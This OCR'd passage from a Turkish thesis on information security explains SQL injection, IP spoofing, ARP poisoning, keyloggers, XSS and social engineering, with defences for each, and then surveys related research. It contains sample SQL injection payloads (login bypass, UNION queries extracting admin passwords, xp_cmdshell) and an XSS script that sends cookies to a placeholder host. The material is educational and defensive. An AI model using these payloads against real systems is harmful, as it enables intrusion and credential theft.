olan sql injection da tiim veri tabanlar1 (Oracle, SQL Server, Access, DB2, Mysql,

Sybase, Postgres ...) tehdit altindadir.
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SOL Enjeksiyonu (SOL Injection) Saldir1 Tiirleri

e SQL Kod Degistirme

SQL komutu degistirmede ilk goriilen ihlal kimlik dogrulama komutunda
yapilmakta. Kimlik dogrulamada kullanic1 ad1 ve parola eslestirmesi i¢in sorgu komutu
gonderilmekte dogru(true) yamiti dondiigiinde sisteme giris yapilabilmekte. SQL
komutunda yapilan ihlal su sekildedir:

SELECT * FROM tb_uyeler WHERE kullanici="admin’ and password="password’

SELECT * FROM tb_uyeler WHERE kullanici="admin’ and password="password’

or ‘a’="a’

Sekil 18. SQL Kod Degistirme (Ornek-1)

Yukaridaki sorgu komutunda WHERE sarti her seferinde dogru(true) sonucu

dondiirecektir ve bu ihlali gerceklestiren kisi uygulamaya erisim saglar.

Internette asp, asp.net, jsp, php gibi web sayfalarinda parametre alanlar1 sql
injection i¢in uygun alanlardir. Ornegin, web tarayicisinin adres gubugunda yer alan id

numarasi degistirilerek istenilen id numarasindaki bilgiye erisim saglanabilmektedir.

http://www.site.com/index.php?isbn_id=99

Sekil 19. SQL Kod Degistirme (Ornek-2)
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Bir diger ihlal yolu (1=1-) ya da tek tirnak hilesi olarak bilinen bu ihlal yolu

biten sql komutunun sonuna tek tirnak israti konup bir esittir bir tire yazilarak

yapilmaktadir.

http://www.site.com/index.php?kategori=yemek’ or 1=1-

Sekil 20. SQL Kod Degistirme (Ornek-3)

e SQL Kod Enjeksiyonu

SQL Server veri tabani yaziliminda yer alan tablo isimlerini almak i¢in

kullanilan bir ihlal yoludur. Yapilan islemler sunlardir:

http://www.site.com/index.php?id=99

l

http://www.site.com/index.php?id=99 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES

Sekil 21. SQL Kod Enjeksiyonu (Ornek-1)

INFORMATION_SCHEMA.TABLES, SQL Server da kayitli tiim tablolarin
listesini tutan bir tablodur. Bu sql sorgu ciimlecigi calistirildiginda veri
tabanindaki ilk tablonun adini1 verecektir. Tablo adi bilgisine ulastiktan sonra
kullanic1 ad1 ve parola(sifre) bilgisine ulasmak olacaktir. Bunun igin tekrar SQL

Server da bulunan “INFORMATION_SCHEMA.COLUMNS” tablosu

kullanilacaktir.

http://www.site.com/index.php?id=99 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE NAME=’admin user’

Sekil 22. SQL Kod Enjeksiyonu (Ornek-2)
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Admin_user tablosunda yer alan degisken bilgilerini elde ettikten sonra kullanici

ve sifre bilgisini elde etmek kaldi. Kullanici ad1 bilgisi i¢in yazilacak SQL kodu:

http://www.site.com/index.php?id=99 UNION SELECT TOP 1 login_name FROM
Admin_user

Sekil 23. SQL Kod Enjeksiyonu (Ornek-3)

Parola(Sifre) Bilgisi i¢in:

http://www.site.com/index.php?id=99 UNION SELECT TOP 1 password FROM
Admin_user WHERE login name=’S user’

Sekil 24. SQL Kod Enjeksiyonu (Ornek-4)

Bu yontem ile url adres ¢ubugunda diger sql komutlar1 yazilabilir. Bunun i¢in
adres ¢ubugundaki adres bitimine noktali virgiil konum istenilen sql ciimlecigi

yazilabilir. Ornegin bir insert, update, delete , drop gibi komutlar yazilir.

http://www.site.com/index.php?id=99; INSERT INTO
tablo_adi(kullanic1_adi,sifre,tarih) VALUES(test user,12345678,01.01.2014)

Sekil 25. SQL Kod Enjeksiyonu (Ornek-5)

e Fonksiyon Cagirma

Oracle, SQL Server gibi veri tabaninda bulunan ya da 06zel hazirlanmig

fonksiyonlar1 sorguda calistirarak saldirgan bu fonksiyonlar1 kullanarak uzak bir

39




bilgisayara tablolardaki verileri gonderebilir ya da 6zel paketler gdndererek

sifrelerinde iginde bulundugu tablolara erisebilir.

SELECT * FROM kullanicilar WHERE Username = ’User-1° AND Password = ’’;
EXEC master..xp_cmdshell ’dir c:’--’

Sekil 26. Fonksiyon Cagirma Ornegi

SOL Enjeksiyonundan (SOL Injection) Korunma Yollar:

e Kullanicinin giris yaptigi input alanlart ve url adresindeki parametrelerde
bulunan degerlerde tek tirnak, cift tirnak, ters bolii isareti ve diger meta tag
karakterlerin filtrelenmesi

e Veri tabaninda bulunan ama kullanilmayan hazir fonksiyonlarin kaldirilmasi

e Kaullanici haklarin siirlandiriimasi

e URL adresindeki girdi uzunlugunun kontrol edilmesi

e URL adresinde kritik kelime gruplarinin girisi yapilmasi halinde
filtrelenmesi. Ornegin: Begin, create, delete, drop, exec, execute, sys,
sysobjects, syscolumns, insert, update, table, 1=1-, 'a'="a’, having gibi
kelimeler.

e Veri tabani hata mesajlarin1 ekrana yazmasi yerine denetim izi (log) kaydina
yazilmali.

e Fonksiyonlara erisim hakki kisitlanmali. Public erisimler fonksiyonun tiiriine
gore degistirilmeli.

e Microsoft SQL Server veri tabaninda yonetici adi “sa”, MySQL veri
tabaninda ise “root” kullanic1 adinin kullanilmamas:.

e Veri tabanlari i¢in giincel yamalarin yiiklenmesi.

e Denetim izlerinin(loglarin) diizenli araliklarla incelenmesi.
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3.5 IP sahteciligi (IP spoofing)

Internet’e bagl her cihazin bir internet Protokol Numarasi(Internet Protocol
Address) yani IP adresi vardir. IP adreslerini insanlarin kullandigi adres seklinde
diistinebilir. Adres tanimlarken sokak, mahalle, cadde, ilge, il, posta kodu nasil
veriliyorsa IP adresi de buna benzetebiliriz. 1988 yilinda Amerika Birlesik
Devletlerinde(ABD) IP dagitimma dair otorite sahibi olarak ITANA(The Internet
Assignment Number Authority - internet Tahsisli Sayilar Otoritesi) kurulmustur. Bu
kurulus RIR(Regional Internet Registry - Bolgesel Internet Kayit Merkezi) tarafindan

diinyada bulunan bes farkli RIR organizasyonu bulunmaktadir. Bunlar sunlardir:

ARIN

7YX {E I E J (American Registry for Kuzey Amerika

Aemarican Ragisiny 1or Isiamet Numbers.

Internet Numbers)
0 LACNIC
o)
e (Latin American and
©
L

] Gliney Amerika
Caribbean Network

Information Centre)
APNIC

(: :) APN IC (Asia Pacific Network Asya ve Pasifik Bolgesi

Information Centre)
5 AFRINIC

.,
o (African Region Afrika
[}

.
a

The Internet Numbers Registry for Africa

Q
AFRINIC §
iy Internet Registry)

RIPENCC

R I PE (Reseaux IP Europeens
o Avrupa, Orta Dogu, Orta Asya
NCC Network Coordination

Centre)
Tablo 2. Diinyadaki RIR(Bolgesel Internet Kayit Merkezi) Organizasyonlari
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Internet ortaminda kullanicinin kimligi belirleyen IP adresi belirli bir sisteme
gore dagitilir. Bir IP adresinin kime ait oldugunu RIR(Bdlgesel Internet Kayit Merkezi)
tizerinde yapilacak bir sorgu ile rahatlikla yapilabilir. Bunun i¢in “whois” adi verilen

internet sitelerinde sorgulama yaparak bulunur.

04.05.2007 Tarihli 5651 Sayili “Internet Ortaminda Yapilan Yayinlarin
Diizenlenmesi ve Bu Yaymlar Yoluyla islenen Suglarla Miicadele Edilmesi Hakkinda”
kanunun, altinc1 maddesinin birinci fikrasi “Erisim saglayicinin yiikiimliiliikleri” baslig
altinda internet servis saglayicilari i¢in 6 ‘inc1 maddesi 1 ‘inci fikrast b bendinde “Sag-
ladig1 hizmetlere iliskin, yonetmelikte belirtilen trafik bilgilerini alt1 aydan az ve iki yil-
dan fazla olmamak iizere yonetmelikte belirlenecek siire kadar saklamakla ve bu bilgile-
rin dogrulugunu, biitiinligini ve gizliligini saglamakla” ve 6 ‘inct maddesi 1 ‘inci
fikrasi ¢ bendinde “ Faaliyetine son verecegi tarihten en az ii¢ ay 6nce durumu Kuruma,
icerik saglayicilarina ve miisterilerine bildirmek ve trafik bilgilerine iliskin kayitlar yo-
netmelikte belirtilen esas ve usillere uygun olarak Kuruma teslim etmekle yiikiimliidiir”
seklinde ifade etmektedir. Internet kullanicisinin kimlik bilgileri internete giris ve ¢ikis
saatleri, baglant1 bilgileri servis saglayicilar tarafindan kayit altina alindig1 ve bu sekilde

internette bir ihlalin sorumlular Tiirkiye igerisinde olmasi kosuluyla belirlenebilmekte.

IP sahteciliginde(IP spoofing) kullanilan yontemler:

e Internet kullanicisinin bilgisayarindaki giivenlik agiklarindan faydalanarak ajan
yazilimlar yiiklenip daha sonrasinda bu ip adresinden geliyormus gibi ihlal
yapilir.

e Son yillarda yayginlagsan kablosuz aglar sayesinde networke dahil olup agdaki
bir bilgisayarin ip adresinden hedef bilgisayara karsi ihlal yapilir.

e Proxy siteler ya da iicretsiz yazilimlar sayesinde bulunulan lokasyonun disinda

bagka bir {ilke ip adresi kullanarak bu ihlal gerceklestirilir. Sekil-18 de
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goriildiigii lizere Tiirkiye de bulunan bir kullanic1 proxy yazilimi kullanarak

Amerika Birlesik Devletleri (ABD) internette oldugu goriilmektedir.

Your IP Address Is:
207.244.78.8

Your IP Details:

ISP: Leaseweb USA

_Network Sharing Device

"Recently report forum spam source
City: Edmonds

Region: Washington

Country: United States

Services

200mi Kelowna' =~ . |
— —_1500km o ( cili §
Vancouver ICK 101
BY ® J ita [
QU st
~ iy 7T i
attle @kaang
= Lacey WASHBGTON >
Yalkima .
Lawision
Lorgpew oszcﬂick O
— | Portland O {
..» mapquest ©2014 MipQuest Some data 2014 Natural Earth”

Sekil 27. Ornek IP Sahteciligi

e Internet posta hizmetinde (Gmail, Hotmail, Yahoo gibi) proxy servisi kullanarak
bir baska iilke ip adresinden geliyormus gibi mail atmak yapilabilmekte fakat

istenile bir ip adresinden geliyormus gibi gondermek miimkiin degildir.
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3.6 ARP saldirilar1 (ARP Attacks)

ARP(Address Resolution Protocol - Adres Coziimleme Protokolii), IP adresini
MAC(Media Access Control -Ortam Erisim Kontrolii) adresine ¢6ziimlemekte
kullanilir. Her network cihazinin benzersiz bir MAC adresine sahip olup bu MAC adresi
6 byte yani 48 bitliktir. Cihazin MAC adresini 6grenmek i¢in consoldan "ipconfig /all"
yazildiktan sonra enter tusuna basilir. Cikan listede Fiziksel adres(Pysical Address)
etiketinin karsisinda yazan on iki karakter dizisinde olusan cihazinizin mac adresidir.

(Sekil-28)

:\>ipconfig sall

Jindows IP Configuration
Primary Dns Suffix
Node Type
IP Routing Enabled
WINS Proxy Enabled

thernet adapter Local Area Connection:

Connection—specific DNS Suffix
Description

: 23—11—43—98—F7—8R

ERSAdAPESS s o w sr s s osx w: s: st mx s o .169.48 .36
Subnet Mask : .255.0.8
Default Gateway H .169.254.254
DNS Servers H .169.254.1606
.169.254.161

Dhcp Enabled

Sekil 28. MAC Adresi

IP adresi bilinen fakat fiziksel adresi bilinmeyen cihazlar i¢in tiim aga ARP
istegi gonderir. Bilinen IP adresi digindaki cihazlardan bir yamt gelmez. Ilgili IP
adresindeki cihazdan yanit olarak cihazin kendi fiziksel adresiMAC adresi) gonderilir.
ARP bu islemleri tekrar tekrar yapmamak ve ilerde gerekli oldugunda bu bu bilgileri(IP
adresi ve MAC adresini) ARP tablosunda tutar. Kullanilan bilgisayardaki ARP
tablosunu gormek i¢in konsol komut satirinda “arp —a” yazilip enter tusuna basildiginda

ARP tablosu goriiliir.
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ARP protokiiliine yonelik saldir1 yapan saldirganlar 6ncelikle arama motorlari
(google, bing, yahoo gibi) siteler araciligiyla web sitelerinde agikliklari bulunana siteleri
tespit ederler. Bu agikliklardan faydalanarak web sitesinde baz1 degisiklikler yaparlar.
Bu degisiklikler gorsel degisiklikler degildir. Amag siteye zarar vermek degil siteye
giren kullanicinin bilgisayarina zararli yazilimin yiiklenmesini saglamaktir. Bu
yazilimlarm en ¢ok kullanilani javascript ile yazilmis kullanic1 web sitesine girdiginde
yiiklenen tiirdedir. Son yillarda bunun en giizel 6rnegi sitede bulunan bir yazilimi
kullanic1 indirmek istediginde kullanicinin bilgisayarna (*.exe) olarak inen ve
kullanicinin yiiklemesi zorunlu kilan tiirden programlardir. Kullanici bu yazilimin
yiklenmesi (downloader gibi) ile istenilen programin daha hizli inecegi fikri
verilmektedir. Kullanici yazilimi yiikledikten sonra artik zararli yazilim tehlike olmaya
baslayacaktir. Bu yazilimlar kullanicinin bulundugu agdaki diger bilgisayarlar1 da
tehlike altinda kalmaktadir. Bu zararli yazilim oncelikle ARP zehirlenmesine
baslamakta. ARP, zehirlenmesini yapan bu yazilim birbiri ile baglanti kuran iki

bilgisayar arasina girip bilgi akisinin kendi lizerinde gerceklestirmesini saglamaktadir.

Bu tiir yazilimlar ile kisilerin yaptig1 internet bankacilik islemlerinden, sifre
degistirme, elektronik postaya kadar biitiin islemleri rahatlikla izleyebilir ve sifreleri

calabilir.

ARP Saldirilarindan Korunma Yontemleri

e Ag trafigini dinlemek

e Agda kullanilan yazimlari kontrol etmek

e Switch ’lerde port glivenlik durumlarini aktif hale getirmek

e Bu saldin tiirli yazilimlar korunmak igin iicretli ya da fiicretsiz gelistirilmis
yazilimlar bulunmaktadir. (Ornegin, ArpON gibi)

e ARP paketlerini inceleyen donanimsal iiriinler kullanmak
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3.7 Keylogger Saldiris1

Keylogger, klavyede yapilan tiim hareketleri kayit altina alan ve bu sayede
bilgisayar kullanicisinin kisisel bilgilerini ¢calmak isteyen kisiler tarafindan kurulan bir
yazilimdir. Bu bilgiler igerisinde internet bankacilik sifresi, kredi karti numarasi,
elektronik posta(e-posta) sifresi ve diger hayati 6nem tasiyan bilgilerin calinmasi

hedeflenmektedir.

Keylogger programlari iki sekilde kurulmaktadir.

e Giivenlik amach: Genelde ebeveynler ¢ocuklarinin bilgisayar basinda neler

yaptiklarini takip etmek i¢in ve kendileri tarafindan kurulmaktadir.

e Saldir1 amach: Kullanici bilgisayarina elektronik postasina eklentisi yoluyla ya
da internet baglant1 adresi gondererek bilgisayara kurulan veya baska bir yazilim
ile bilgisayara kurulan bu programin amaci kisinin bilgilerini toplamaktir.

Topladigi bu bilgileri elektronik posta(e-posta) yolu ile saldirgana goénderir.

Yaygin olarak kullanilan keylogger yazilimlar1 sunlardir:

e All In One Keylogger
e Keylogger Pro

e iSpyNow

e Phantom

o Award Keylogger

e Spyrix

e KGB Key Logger

e Ardamax Keylogger

e Ecodsoft Keylogger
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Keylogger saldirisi donanimsal olarak da yapilmaktadir. Donanima

eklenmesiyle beraber klavye hareketlerinizi kayit altina almaktadir.(Sekil 29)

Sekil 29. USB Keylogger

Sekil 29 de goriildiigii tizere bilgisayar usb ¢ikisina takilan bu cihazin varligi herhangi

bir anti-keylogger ya da anti viriis yazilimi ile tespit edilemez.

Kevlogger Saldirilarindan Korunma Yontemleri

Tanimadiginiz kisilerden gelen elektronik postalari(e-mail) agmamak

Internet sitelerinde (*.exe) uzantili dosyalara kars1 dikkatli olmak

Bilgisayarda iyi bir anti viriis yaziliminin ytiklii olmasi

Anti- keylogger yazilimimin bilgisayarda yiiklii olmasi

Keylogger yazilimlar1 kurulurken saldirgana sifre girmesini istemektedir.
Bilgisayarda Ctrl + Alt + Shift + X tusuna basildiginda sifre soran bir ekran
cikiyorsa bilgisayarda keylogger tiirii bir yazilim ytikliidiir

Diizenli olarak bilgisayarda yiiklii glivenlik yazilimlarimi ve isletim sistemini

giincellemelerini kontrol etmek
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3.8 Capraz Site Betik Saldirisi

Capraz Site Betik Saldiris1 (Cross Site Scripting Attack), internet
kullanicilarinin girdigi sayfalara gomiilen scriptler tarafindan yapilan bir saldiridir.
Kullanilan scriptler html, javascript, asp, php vb. 'dir. Bu scriptler kullanilarak yapilan

saldir1 sunlardir:

Scriptleri kullanarak daha 6nce ziyaret edilmis siteye dair ¢erez (cookie) bilgisi

saldirgana gonderilebilir.

e Saldirgan tarafindan sitede var olan arama kutusunda ¢ift tirnak ve diger 6zel
karakteri kullanarak sayfayr hackleyip kendi kodlari sayfaya entegre edip

saldirisin1 gergeklestirebilir.

e Scriptleri kullanarak kullanicinin bilgisayarin1 bir keylogger gibi yaptiklarini

kayit altina alinabilir.

e Sayfa icerisinde Iframe kullanarak kullanici siteye girdiginde bir yonlendirme ile

scriptli sayfaya yonlendirmek.

e Sahte giris sayfalar kullanarak girig bilgileri istenilen bir kisiye yonlendirilmesi.

e POST ve GET metoduyla gonderilen veri alanina scriptleri enjekte ederek bu

acikliktan faydalanip saldir1 gergeklestirilebilir.

e Session (Oturum) bilgisi scriptler kullanilarak saldirgan kullanici tarafindan elde

edilebilir.
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Capraz Site Betik Saldirist yani XSS saldirisinda enjekte etmekte kullandigi

belli basl etiketler(tagler) sunlardir:

e <script>

e <object>
o <applet>
e <embed>
o <iframe>

e <include>

e <ahref="...">

e <img>
e getURL
o <form>
e <body>
o <table>
o <div>

Yukarida yer alan bazi etiketler (tagler) kullanilarak XSS yani capraz site betik saldir
rahatlikla yapilmaktadir. Sekil 30 da goriilecegi lizere kayit.php dosyasi kullanicinin
bilgisayarinda yer alan gerezleri (cookieleri) okuyan bir loglama araci haline gelmistir.
Bu saldir1 sayesinde saldirgan siteye giren her internet kullacisinin bilgisayarinda yer

alan cookieleri kayit altina alip ve bunlar1 daha sonra kullanabilmesine imkan sunar.
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<script language="javascript" >

location href="http://www.site.com/kayit php?cookie="+escape(document.cookie)

</script>

Sekil 30. Ornek XSS Kodu

Capraz Site Betik Saldirisindan Korunma Yontemleri

Ucretsiz hazir web site kullamirken 6zellikle joomla, wordpress gibi
dagitimlarinin eklentilerinin kontrol edilmesi.

Internette dolasirken siteye girildigi andan itibaren bir yonlendirme yapiliyorsa
ya da pop up tarzi yapilanlar engellemek i¢in kullanilan tarayicinin giivenlik
ayarlarinda bunlarin engellenmesi.

Adres ¢ubugunda(URL) girilen degerlerde ve site icerisinde arama alaninda bir
filtrelemenin kullanilmas1. Ozellikle scriptlerde kullanilan 6zel karakterlerin
engellenmesi.

Form verilerinin girildigi alanlar ve gonderilirken ( POST ya da GET metodu)
kullanimi1 g6z 6niinde tutularak 6zel karakter filtrelenmesinin engellenmesi.
Agda kurulacak bir sistemle giden ve gelen verinin kontrolii ve diizeltilmesinin
yapilmast i¢in sunucularin bir proxy ya da IPS cihazinin arkasina konulmasi.
Giivenlik agiklarmi tespit etmek igin iicretli ya da ticretsiz olarak mevcut olan
programlar bulunmaktadir. Bu yazilimlar1 diizenli olarak kullanarak sistem
acikliklarini bulmak. Kurumun kendi yaptig: testler disinda disaridan sizma testi
yapan danismanlik firmalarindan destek alarak i¢ ve dis aglarmin testlerini

yapmasi bu ihlallerin 6niine gegecektir.
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3.9 Sosyal Miihendislik Saldirisi

Sosyal Miihendislik, insan odakl1 olarak gerceklestirilen bir saldir tiiriidiir. Bu
saldirida insan zafiyeti kullanilarak bireyin kurum igin gizli ve paylasmamasi gereken
bilgilere rahatlikla ele gecirmesidir. Bilgi giivenligini saglamada sistemler, sifreler
yeterli olmamaktadir. Bunun i¢in kurum igerisinde tiim personele bilinglendirme

egitimlerinin verilmesiyle baslanabilir.

Sosyal Miihendisliginin mucidi olarak bilinen kisi Kevin Mitnick 'dir. Bu
alanda yazdigi “Aldatma Sanat1i” adli kitap ile saldirilarinin %80 nine sosyal

mithendislik yontemiyle ulastigini belirtmistir.

Sosyal Miihendislik izlenen adimlar sunlardir:

e Kurumun disarisiyla iletisimi siirekli olan calisanlarin telefon yoluyla gizli ve
onemli bilgilerin elde edilmesi. Burada kurum c¢alisanina kendini yetkili, st

diizey yonetici olarak tanitarak yapilmakta.

e Kurum igerisinde gizli bilgilere erisime yetkili olan kullanict ya da ydnetim
tarafindan belirlenmis bir yoneticiye verilen erisim hakkinin kuruma yeni girmis

bir ¢alisan tarafindan kandirilarak bu bilgilerin elde edilmesi.

e Disaridan telefon ile aranilarak onemli bir yerden aradigma dair ¢alisani
kandirarak istenilenlerin yapilmamasi durumunda kurumun zarar gorecegine

ikna etmek.

51



Kurum i¢inde CD, DVD, Flash Bellek kullanilarak truva ati yazilimlar
kullanilarak tiim bilgisayarlara network {izerinde yayilmasi sonucunda tiim

bilgisayarlardaki sifrelerin elde edilmesi.

Kullanilmayan bilgisayar ya da sunucu hard disklerin toplanmasi ve iglerindeki

bilgilerin incelenmesi.

Coplerin karigtirilmasi, ¢ope atilmis not kagitlari, CD, DVD ve diger bilgisayar

donanim tirtinlerinin incelenmesi.

Omuz sorfii olarak adlandirilan bu yontemde kisinin sifreyi girerken ya da kisith
erisim yerlerine girerken izlenmesi, ekrani kilitlenmemis bilgisayarlari

kullanmak.

Saldirgan, kurum ig¢inde erisim hakki bulunan c¢alisan ile arkadaglik kurma
yoluna gidilerek gerek kurumun ortak bilgileri gerekse de kurumun gizli

bilgilerini elde eder.

Kurum disinda anket igin ya da bankalardan gelen telefonlarda ve benzeri

yollarla kisisel bilgilerin istenmesi.

Elektronik posta(e-mail) yoluyla kredi kartt numarasi, kurum i¢indeki ¢aliganin
bilgilerinin, daha 6nce kurumda ¢alisan bir kisinin yakini oldugunu iddia etmesi,
kurumda bir yoneticinin yakin1 oldugu iddia etmesi ve kuruma dair

bilgiler(kullanici adi, sifre, personel bilgisi ve benzeri bilgiler) talep etmesi.

52



e Fiziksel erisimin oldugu yerlerde sahte kimlik kartlar1 kullanarak g¢aligma
saatlerinde ya da caligma saatleri disinda kurum calisam1 ya da misafir gibi

davranarak kuruma giris yapmas.

e Sosyal paylasim siteleri kullanarak ilgili kurumda calisanlar1 tespit etmek ve
kuruma dair gerek calisma arkadaslari gerekse de kurum iginde c¢ekilmis

resimleri kullanmak.

Sosval Miihendislik Saldirilarindan Korunma Yontemleri

e Kurum icinde giivenlik politikasinin etkili olmas1 i¢in kurum g¢aliganlarina agik
ve anlasilir bir sekilde tiim kurum calisanlarina diizenli olarak egitim verilerek

farkindalik olusturulmasi.

e QGivenlik politikalarina uyulmamasi durumunda kurum c¢aliganlarina yaptirim

uygulanmasi. Calisana verilen yaptirimin takibinin yapilmasi.

e Kurum i¢inde kimlik dogrulama mekanizmasinin kontrol edilmesi ve buna dair

giivenlik politikasinin diizenli olarak giincellenmesi.

e Telefon ile hassas bilgilerin(Kullanic1 adi, Sifre, TC Kimlik Numarasi, Adres

Bilgisi, Kizlik Soyadi vb. ) paylasiimamasi.

e Kurum icinde Flash Bellek, CD, DVD yoluyla yazilim yiiklenmesinin

engellenmesi.

¢ Bilinmeyen kisilerden gelen elektronik postalara(e-maillere) yanit verilmemesi.
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Kullanilmayan hard disklerin, ¢ope atilan kagitlarin giivenli bir sekilde imha

edilmesi.

Sisteme erisimlerde kullanic1 ve sifre disinda giivenlik sorulari ile ikinci bir

kontroliin yapilmasi.

Kurum i¢i ve disinda gilivenlik kameralarinin diizenli olarak kayit yapmasi ve bu

kayitlarin diizenli bir sekilde gilivenli bir ortamda saklanmasi.

Kullanic1 tarafindan ekranin kilitlenmemesi durumunda kurum giivenlik
politikasina goz oniinde tutularak uygun bir siire belirlenip bu siire igerisinde
ekranda kullanicinin islem yapmamasi durumunda ekran kilidinin devreye

girmesi. Genellikle bu siire bes dakika siirli tutulmaktadir.

Kurumlardaki sistem odasina fiziksel erisim i¢in parmak izi ve sifreli ya da kart
sistemiyle yapilmasi. Sistem odalarina giris ve ¢ikislarina dair denetim iz kaydi

(log kayd1) tutulmasi1 ve bu loglarin belirli siirelerde incelenmesi.

Sosyal miihendislik saldirilar1 haberlerinin kurum calisanlarina haber verilmesi

ve bu konudaki giincel gelismeler hakkinda bilin¢lendirilmesi.

Bilgi giivenligine iliskin internet sitelerin takibinin yapilmasi.

Kuruma ziyaret¢i olarak gelen kisilerden kimlik alinmas1 ve bu kisilere kurum

igerisinden bir kisi tarafindan refakat¢inin eslik etmesi.

Kurumda diizenli olarak sosyal miihendislik testinin yapilmasi.
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4. Bilgi Giivenligi Konusunda Yapilan Giincel Calismalar

Bu konuda yapilan ¢alismalar genel olarak iki temel amaca yoneliktir. Birinci
amag, bir kuruma 6zel bir bilgi giivenligi risk anketi olusturulmasi, kurumda anketin
uygulanmasi ve elde edilen sonuglarin degerlendirilmesidir. Calismalarin ikinci amaci
da anket verilerinden yola ¢ikarak 6zdevimli 6grenme siniflandiricilarina uygun 6zgiin
bir nitel risk degerlendirme modeli gelistirmek ve hangi siniflandiricilarin tasarlanan
model icin en basarili sonuglar1 verdigini belirlemektir. Sonuclar degerlendirildiginde
gelistirilen modelin basarili ve iyilestirmeye agik 6zgiin bir model oldugu goriilmiistiir.
Calisma siiresince [15] bu iki amaca ek olarak diger baz1 6nemli ve 6zgiin bulgular ve
sonuclar elde edilmistir. Ozdevimli 6grenme yaklasiminin bilgi giivenligi risk
degerlendirme siirecinde denetim mekanizmasi olarak katki saglayacagi goriilmiis ve
calismadaki modelin iyilestirilmesinde bu sonuglardan yararlanilmistir. Bir baska bulgu,
degisik anket uygulamalarinda 6zdevimli 6grenme yaklasiminin hata denetim islevi
olarak kullanilabileceginin ortaya ¢ikarilmis olmasidir. Gelistirilen 6rnek modelin
uygulanabilecegi yeni ¢alisma alanlari ve modelin iyilestirilmesine yonelik Oneriler
calisma sonucunda ortaya konulmustur. Calismadaki bilgi giivenligi risk alanlarinin
belirlenmesi, ilgili anketin olusturulmast ve anketin uygulanmasi siirecinde
Tirkiye’deki saglik sektoriindeki bir kurumun belli bir birimi ve o birimin calisanlari
kapsama almmustir. Bilgi giivenligi risk anketinin igerigindeki risklere iligkin sorular
Ozglin bir bigimde olusturulmus, ayrica basitlestirilmis sekilde psikometrik O6l¢iim
amagch degerlendirme sorular1 da ankette kapsanmistir. Calismanin risk degerlendirmesi
asamasinda nitel risk degerlendirme yontemi kullanilmigtir. Kurumdaki oncelikli
riskleri belirleme ve tahmin etme siirecinde ikili siniflandirict tiiriindeki 6zdevimli
ogrenme algoritmalar1 ¢alismanin kapsamina alinmistir. Toplam 68 degisik 6zdevimli

O0grenim algoritmast ve bu algoritmalarin ¢esitli alt islevleri, degisik parametre

55



seceneklerinin denenmesi ile birlikte 3200 civarinda gozlem ve test yapilmistir. Elde
edilen istatistiksel degerler ve Ol¢iim sonuglart incelenerek model igin en uygun
algoritmalar saptanmis ve bu algoritmalarin bileskeleri sonucunda oncelikli risklerin
hangileri oldugu belirlenerek modele son sekli verilmistir. Ortaya konan model
sonucunda elde edilen bulgular ve sonuglar incelenmis, bilgi gilivenligi risk
degerlendirmesinin belli alt alanlarinda 6zdevimli 6grenmedeki ikili siniflandiricilarin
basarim diizeyi belirlenmis ve bunlara iliskin yeni gereksinimler, yeterlilikler veya

gelistirme alanlari ortaya ¢ikarilmigtir. [15]
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Bu konuda yapilan bir bagka ¢alismada ise; ¢alismanin konusunu, kurumsal
bilgi teknolojilerinde sik karsilasilan giivenlik sorunlari, glivenligi saglama yontemleri,
kok nedenler, saldirt tiirleri, korunma mekanizmalar1 ve giivenlik zafiyetlerinin teknik
yapisinin incelenmesi olusturmustur. Bu arastirmada, bilgi giivenligi konusunda hizmet
veren bir girketin 1998-2012 yillar1 arasindaki rapor sonuglart kullanilmistir. Farkli
alanlarda faaliyet gosteren 30 miisteriye ait giivenlik raporu verisi, saha ¢aligmalar1 ve
mesleki tecriibe ile olusan gézlem sonuclari kullanilmistir. Tarama ¢alismalar sirasinda
bilgi glivenligi ile ilgili yerli ve yabanci kaynaklardan yararlanilmis ve mesleki tecriibe
ile olusan gozlem sonuglart calismaya aktarilmistir. Kurum isimleri gizlilik sdzlesmeleri
nedeniyle tez c¢alismasi igerisinde ge¢memistir. Bu c¢alismada, kurumsal bilgi
teknolojilerinde yaygin bulunan zafiyetler on kok neden basligi altinda 6zetlenerek

gruplandirilmistir.[16]

Kurum igerisinde uygulanan sizma testlerinde ortaya ¢ikan zafiyetleri detayl
bir sekilde anlatilmis ve bu eksikliklerin oniline ge¢mek i¢in siirekli glincellestirme

yapmanin bu tarz zafiyetlerinin 6niine gececegine dair detayl bilgiler verilmistir.

Kurumsal bilgi teknolojilerinde bulunan zafiyetlerin her biri ile tek tek
miicadele etmeye ¢aligmak yerine, o =zafiyetin kurumun bilgi teknolojilerinde
bulunmasinin kok nedenini tespit etmek ve bu kdk neden iizerine onleyici faaliyetler

gerceklestirmek Onerilen bir yaklasim olacaktir.[16]
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Bu konuda yapilan bir baska calismada ise; “Kamu Kurumlari I¢in Bir Bilgi
Giivenligi Yonetisim Modeli” adindaki bu ¢alismada [17]; Tiirkiye i¢in kamu kurum ve
kuruluslarinda kullanilacak yeni Bilgi Gilivenligi Yonetisimi Modeli Onerilmistir.
Oncelikle tek bir kamu kurulusunda bu modelin nasil uygulanacag agiklanmustir.
Ayrica modelin tek bir kurum ya da kurulusun da kullanilmasi i¢in tasarlanmasinin
yeterli olmayacag1 diisiincesinden hareketle, onerilen modelde kurum ve kuruluslarin
birbirleriyle etkilesimini de iceren yeni bir yapi ortaya konulmustur. Bu sistemin
isleyebilmesi i¢in de tiim kamu kurum ve kuruluslari ile birlikte 6zel sirketleri de igeren
bir Bilgi Gilivenligi Stratejisi Kurulu (BGSK)’nun kurulmasimin gerekliligine vurgu
yapilarak, bilgi giivenligi konusunun yasal dayanaklarla desteklenmesi 6nerilmistir. Bu
modelin Istanbul Biiyiiksehir Belediyesi, bagl kurumlari ve istirak sirketlerinde nasil

kurulabilecegi 6rnek olarak anlatilmistir.[17].

Bilgi Giivenligi Stratejisi Kurulu (BGSK)’nun, Bilgi Giivenligi YOnetisim
Modelini uygulayan kurumlari nasil denetleyecegi ve bunun i¢in nasil bir dongi
kurulabilecegi ile ilgili calisma yapilabilir. Ayrica bu modele paralel olarak ya da bu
modelle biitiinlesik olarak COSO ve COBIT/ITIL modellerinin nasil biitiinlesik hale
getirilebilecegi konusunda da bir ¢alisma ¢ok faydali olacaktir. Son olarak, bu modelde
birbirleriyle etkilesim i¢inde bulunan kurum ve sirketlerin, etkilesim ydntemleri ve
etkilesim sekillerinin nasil tanimlanacagi konusunda da teferruath bir calisma yapilmasi,

modelin tasarimina ve igleyisine yonelik faydali ve gerekli bir 6n ¢aligma olacaktir.[17]
